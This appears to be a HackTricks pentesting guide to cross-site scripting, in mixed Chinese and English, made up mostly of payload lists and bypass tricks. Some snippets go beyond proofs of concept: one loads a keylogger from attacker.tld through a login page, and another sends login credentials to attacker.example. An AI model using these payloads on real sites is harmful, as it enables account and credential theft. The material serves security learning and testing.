%.*s
XSS (Cross Site Scripting)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
方法论
- 检查是否有 any value you control (parameters, path, headers?, cookies?) 被 reflected 在 HTML 中或被 used 在 JS 代码里。
- 找出被反射/使用的上下文。
- 如果是 reflected
- 检查 你可以使用哪些符号,并据此准备 payload:
- 在 raw HTML 中:
- 你能创建新的 HTML tags 吗?
- 你能使用支持
javascript:协议的 events 或 attributes 吗? - 你能 bypass protections 吗?
- HTML 内容是否被任何 client side JS 引擎(AngularJS, VueJS, Mavo…)解释?如果是,可以滥用 Client Side Template Injection。
- 如果你无法创建执行 JS 的 HTML tags,是否可以滥用 Dangling Markup - HTML scriptless injection?
- 在 HTML tag 内部:
- 你能 escape 到 raw HTML 上下文吗?
- 你能创建新的 events/attributes 来执行 JS 吗?
- 你被困住的 attribute 是否支持 JS 执行?
- 你能 bypass protections 吗?
- 在 JavaScript code 内部:
- 你能 escape
<script>tag 吗? - 你能 escape 字符串并执行不同的 JS 代码吗?
- 你的输入是否在 template literals `` 中?
- 你能 bypass protections 吗?
- Javascript function 被 executed
- 你可以指示要执行的函数名。例如:
?callback=alert(1) - 如果是 used:
- 你可能利用 DOM XSS,注意你的输入如何被控制以及你的 controlled input 是否被任何 sink 使用。
在处理复杂的 XSS 时,你可能会想了解:
Reflected values
要成功利用 XSS,首先需要找到一个被 你控制且被反射 在网页中的值。
- Intermediately reflected:如果你发现某个参数甚至 path 的值被反射在网页中,你可能可以利用 Reflected XSS。
- Stored and reflected:如果你发现一个你控制的值被服务器保存并且每次访问页面时都会被反射,你可能可以利用 Stored XSS。
- Accessed via JS:如果你发现一个你控制的值被 JS 访问,你可能可以利用 DOM XSS。
Contexts
在尝试利用 XSS 时,首先要知道 你的输入被反射在哪里。根据上下文,你可以用不同方式执行任意 JS 代码。
Raw HTML
如果你的输入被 反射在 raw HTML 页面中,你需要滥用某些 HTML tag 来执行 JS 代码:<img , <iframe , <svg , <script … 这些只是可以使用的众多 HTML tags 之一。
此外,注意 Client Side Template Injection。
Inside HTML tags attribute
如果你的输入被反射在 tag 的 attribute 值内,你可以尝试:
- 从 attribute 和 tag 中跳出(这样你会进入 raw HTML),然后创建新的 HTML tag 来滥用:
"><img [...] - 如果你可以从 attribute 中跳出但不能从 tag 中跳出(
>被编码或删除),则根据 tag 的不同你可以创建一个 event 来执行 JS:" autofocus onfocus=alert(1) x=" - 如果你不能从 attribute 中跳出(
"被编码或删除),那么取决于你的值被反射在哪个 attribute 内、你是控制整个值还是只是部分,你会有不同的滥用方式。例如,如果你控制一个像onclick=的 event,你就能让它在点击时执行任意代码。另一个有趣的例子是hrefattribute,你可以使用javascript:协议来执行任意代码:href="javascript:alert(1)" - 如果你的输入被反射在“无法利用的标签”内部,你可以尝试
accesskey技巧来滥用漏洞(需要某种社会工程学来触发):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
一个 corporate SSO login 页面将 OAuth 的 service 参数反射在 <a id="forgot_btn" ...> 的 href attribute 内。尽管 < 和 > 被 HTML 编码了,但双引号没有被编码,所以攻击者可以关闭属性并重用相同元素注入 handlers,例如 " onfocus="payload" x="。
- 注入 handler: 简单的 payload 如
onclick="print(1)"被阻挡,但 WAF 只检查 inline attribute 中的第一条 JavaScript 语句。通过在前面加上一个用括号包裹的无害表达式,然后加上分号,允许真正的 payload 执行:onfocus="(history.length);malicious_code_here"。 - 自动触发: 浏览器会在 fragment 与元素
id匹配时 focus 该元素,因此在 exploit URL 后追加#forgot_btn会在页面加载时强制该 anchor 获取焦点并运行 handler,无需点击。 - 保持 inline stub 很小: 目标站点已经包含 jQuery。handler 只需通过
$.getScript(...)启动请求,而完整的 keylogger 放在攻击者的服务器上。
不使用引号构造字符串
单引号被以 URL-encoded 形式返回且转义的双引号会破坏属性,因此 payload 使用 String.fromCharCode 生成每个字符串。一个辅助函数可以很容易地将任何 URL 转换为字符码,然后再粘贴到属性中:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
生成的属性如下:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
为什么这会窃取凭证
外部脚本(从攻击者控制的主机或 Burp Collaborator 加载)挂钩了 document.onkeypress,缓冲按键,并每秒执行 new Image().src = collaborator_url + keys。因为 XSS 只在未认证用户触发,所以敏感动作就是登录表单本身——攻击者会 keylogs 用户名和密码,即使受害者从未按下 “Login”。
Weird example of Angular executing XSS if you controls a class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
在 JavaScript 代码内部
在这种情况下,你的输入会被反射到 HTML 页面中的 <script> [...] </script> 标签之间、.js 文件内,或在使用 javascript: 协议的属性内:
- 如果被反射在
<script> [...] </script>标签之间,即使你的输入位于任何形式的引号内,你也可以尝试注入</script>并从该上下文中跳出。 这是因为 浏览器会先解析 HTML 标签 然后解析内容,因此它不会注意到你注入的</script>标签位于 HTML 代码内部。 - 如果被反射在 JS 字符串内部,且上一个技巧无效,你需要退出字符串,执行你的代码并重建 JS 代码(如果有任何错误,则不会被执行:
'-alert(1)-'';-alert(1)//\';alert(1)//- 如果被反射在模板字面量中,你可以使用
${ ... }语法 嵌入 JS 表达式:var greetings =Hello, ${alert(1)} - Unicode encode 可以用于书写 valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting 指的是在使用之后再 声明函数、变量或类的机会,以便你可以滥用那些 XSS 使用未声明变量或函数的场景。
更多信息请查看以下页面:
Javascript Function
许多网页的端点会接受作为参数的要执行函数名。在实际中常见的一个例子是:?callback=callbackFunc。
判断用户直接提供的内容是否被尝试执行的一个好方法是修改该参数的值(例如为 ‘Vulnerable’)并在 console 中查看类似的错误:
.png)
如果存在漏洞,你可能能通过发送该值来触发一个 alert:?callback=alert(1)。然而,这类端点非常常见会验证内容,只允许字母、数字、点和下划线([\w\._])。
然而,即便有此限制,仍然可以执行某些操作。这是因为你可以使用这些合法字符来访问 DOM 中的任何元素:
.png)
一些有用的函数有:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
你也可以尝试直接触发 Javascript 函数:obj.sales.delOrders。
然而,通常执行所指函数的 endpoints 并不包含太多有趣的 DOM,同源的其他页面会有一个更有趣的 DOM来执行更多操作。
因此,为了在不同的 DOM 中滥用此漏洞,开发了 Same Origin Method Execution (SOME) 利用方法:
SOME - Same Origin Method Execution
DOM
存在 JS 代码 不安全地使用了一些 由攻击者控制的数据,例如 location.href。攻击者可以滥用此来执行任意 JS 代码。
Universal XSS
这类 XSS 可以在任何地方被发现。它们不仅依赖于对 web 应用的客户端利用,而是与任何****上下文相关。这类任意 JavaScript 执行甚至可以被滥用以获取 RCE、在客户端和服务器上读取任意文件,等等。
一些示例:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
当你的输入被反射到HTML 页面内部,或你可以在该上下文中转义并注入 HTML 代码时,首先需要检查你是否可以滥用 < 来创建新标签:尝试反射该字符并检查它是否被HTML 编码、删除,还是原样反射。只有在最后一种情况你才能利用此情形。
对于这些情况还要记住Client Side Template Injection。
注意:HTML 注释可以通过以下方式闭合****-->****或 **--!>****
在这种情况下,如果没有使用黑/白名单过滤,你可以使用类似以下的 payloads:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
但是,如果使用了 tags/attributes 的黑/白名单,你需要 brute-force 哪些 tags 可以创建。
一旦你 定位到被允许的 tags,你需要在已发现的有效 tags 内 brute-force attributes/events,以查看如何利用上下文进行攻击。
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
如果没有找到任何有效的 HTML tag,你可以尝试 create a custom tag,并使用 onfocus 属性执行 JS 代码。在 XSS 请求中,你需要在 URL 末尾添加 # 以使页面 focus on that object 并 execute 代码:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
如果某种 blacklist 被使用,你可以尝试用一些小花招来 bypass 它:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
长度绕过(小型 XSSs)
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
最后一个使用了 2 个 unicode 字符,展开为 5 个:telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
If in order to exploit the vulnerability you need the 用户点击链接或表单(带预填数据)you could try to abuse Clickjacking (if the page is vulnerable).
Impossible - Dangling Markup
If you just think that it’s impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could 利用 the vulnerability without executing JS code.
在 HTML 标签内注入
在标签内/从属性值中转义
If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
样式事件
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
在属性内
即使你 无法从属性中跳出 (" 被编码或删除),根据 哪个属性 反射了你的值,以及你 是否控制整个值或只是部分,你仍然可以滥用它。例如,如果你控制像 onclick= 这样的事件,你就能在被点击时让它执行任意代码。
另一个有趣的 例子 是属性 href,你可以使用 javascript: 协议来执行任意代码:href="javascript:alert(1)"
通过 HTML 编码/URL 编码 在事件内绕过
HTML 标签属性值内的 HTML 编码字符 会在运行时被 解码。因此下面这样的写法是有效的(payload 为加粗部分): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
注意 任何形式的 HTML 编码 都有效:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
注意 URL encode 也可行:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
在 event 内部使用 Unicode 编码 绕过
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
属性内的特殊协议
你可以在某些位置使用协议 javascript: 或 data: 来 执行任意 JS code。有些会需要用户交互,有些则不需要。
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
可以注入这些协议的位置
一般来说 javascript: 协议可以 用于任何接受 href 属性的标签,并且可以用于 大多数 接受 src 属性 的标签(但不能用于 <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
其他混淆技巧
在这种情况下,由于你处于属性内部,上一节中的 HTML encoding 和 Unicode encoding 技巧也同样有效。
<a href="javascript:var a=''-alert(1)-''">
此外,对于这些情况还有一个不错的技巧:即使你在 javascript:... 内的输入被 URL encoded,也会在执行之前被 URL decoded。所以,如果你需要从字符串中转义出来,使用单引号,并且你看到它正在被 URL encoded,请记住这并不重要,它会在执行时被解释为单引号。
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
注意,如果你尝试 同时使用 URLencode + HTMLencode 以任意顺序对 payload 进行编码,它 不会 起作用,但你可以 在 payload 内部混合使用它们。
使用 Hex 和 Octal 编码 与 javascript:
你可以在 iframe 的 src 属性(至少)中使用 Hex 和 Octal encode 来声明 HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
如果你可以在任意 <a href= 标签中注入任意 URL,并且该标签包含 target="_blank" and rel="opener" 属性,请查看下面的页面以利用此行为:
on 事件处理程序绕过
首先查看此页面 (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 以获取有用的 “on” event handlers。
如果有某些黑名单阻止你创建这些 event handlers,你可以尝试以下绕过方法:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS 在 “Unexploitable tags” (hidden input, link, canonical, meta)
参见 here 现在可以滥用 hidden inputs:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
并且在 meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
来自 here: 你可以执行一个 XSS payload inside a hidden attribute,前提是你能说服该victim按下相应的按键组合。在 Firefox Windows/Linux 上按键组合是 ALT+SHIFT+X,在 OS X 上是 CTRL+ALT+X。你可以通过在 access key attribute 中使用不同的键来指定不同的按键组合。攻击向量如下:
<input type="hidden" accesskey="X" onclick="alert(1)">
The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="
黑名单绕过
Several tricks with using different encoding were exposed already inside this section. 请返回学习可以在哪里使用:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
阅读 Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
阅读 JavaScript bypass blacklist of the following section.
CSS-Gadgets
如果你在网页的很小部分发现了一个XSS,且它需要某种交互(比如页脚中的一个带 onmouseover 的小链接),你可以尝试修改该元素占据的空间,以最大化触发该链接的概率。
例如,你可以在元素中添加一些样式,例如: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
但如果 WAF 过滤了 style 属性,你可以使用 CSS Styling Gadgets,例如如果你发现:
.test {display:block; color: blue; width: 100%}
和
#someid {top: 0; font-family: Tahoma;}
现在你可以修改我们的链接,使其变为如下形式
<a href=“” id=someid class=test onclick=alert() a=“”>
注入到 JavaScript 代码中
在这种情况下,你的输入会被反射进 .js 文件的 JS 代码,或者插入到 <script>...</script> 标签之间,或插入到可以执行 JS 的 HTML 事件中,或插入到接受 javascript: 协议的属性中。
转义 <script> 标签
如果你的代码被插入在 <script> [...] var input = 'reflected data' [...] </script> 中,你可以很容易地逃逸出 <script> 标签:
</script><img src=1 onerror=alert(document.domain)>
注意,在这个示例中我们甚至还没有关闭单引号。这是因为HTML parsing is performed first by the browser,其过程包括识别页面元素(包括 script 块)。对 JavaScript 的解析以理解并执行嵌入的脚本是在随后进行的。
JS 代码内部
如果 <> 被过滤,你仍然可以在你的输入被定位的地方转义字符串并执行任意 JS。重要的是要修复 JS 语法,因为如果有任何错误,JS 代码将不会被执行:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
当用户输入落在被引号包裹的 JavaScript 字符串内时(例如,server-side echo into an inline script),你可以终止该字符串、注入代码,然后修复语法以保持解析有效。通用模板:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
当易受攻击的参数被反射到 JS 字符串中时的示例 URL 模式:
?param=test";<INJECTION>;a="
这会在不需要接触 HTML 上下文的情况下执行攻击者的 JS(纯 JS-in-JS)。当过滤器屏蔽关键字时,可与下面的 blacklist bypasses 结合使用。
模板字符串 ``
为了构造 字符串,除了单引号和双引号外,JS 也接受 反引号 ``。这被称为模板字符串,因为它们允许使用 ${ ... } 语法嵌入 JS 表达式。
因此,如果你发现你的输入被反射到使用反引号的 JS 字符串中,你可以滥用 ${ ... } 语法来执行任意 JS 代码:
这可以通过以下方式滥用:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
编码的代码执行
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
可交付的 payloads:eval(atob()) 与作用域细微差异
为了缩短 URL 并绕过简单的关键字过滤,你可以将真实逻辑进行 base64 编码,然后用 eval(atob('...')) 来执行它。 如果简单的关键字过滤会屏蔽像 alert、eval 或 atob 这样的标识符,可以使用 Unicode 转义的标识符,它们在浏览器中编译结果相同,但能规避基于字符串匹配的过滤:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
重要的作用域细节:const/let 在 eval() 内声明时是块作用域的,不会创建全局变量;它们对后续脚本不可访问。需要时,使用动态注入的 <script> 元素来定义全局、不可重新绑定的 hooks (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
参考:https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode 编码 JS 执行
alert(1)
alert(1)
alert(1)
JavaScript 绕过黑名单技巧
字符串
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
特殊转义
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
在 JS 代码中的空格替换
<TAB>
/**/
JavaScript 注释 (来自 JavaScript Comments 技巧)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (来自 JavaScript new line 技巧)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript 空白字符
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript 在注释中
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
无需括号的 JavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
任意函数(alert)调用
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
存在 JS code 在使用诸如 location.href 之类的不安全、由攻击者控制的数据。攻击者可以滥用此来执行任意 JS code。
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
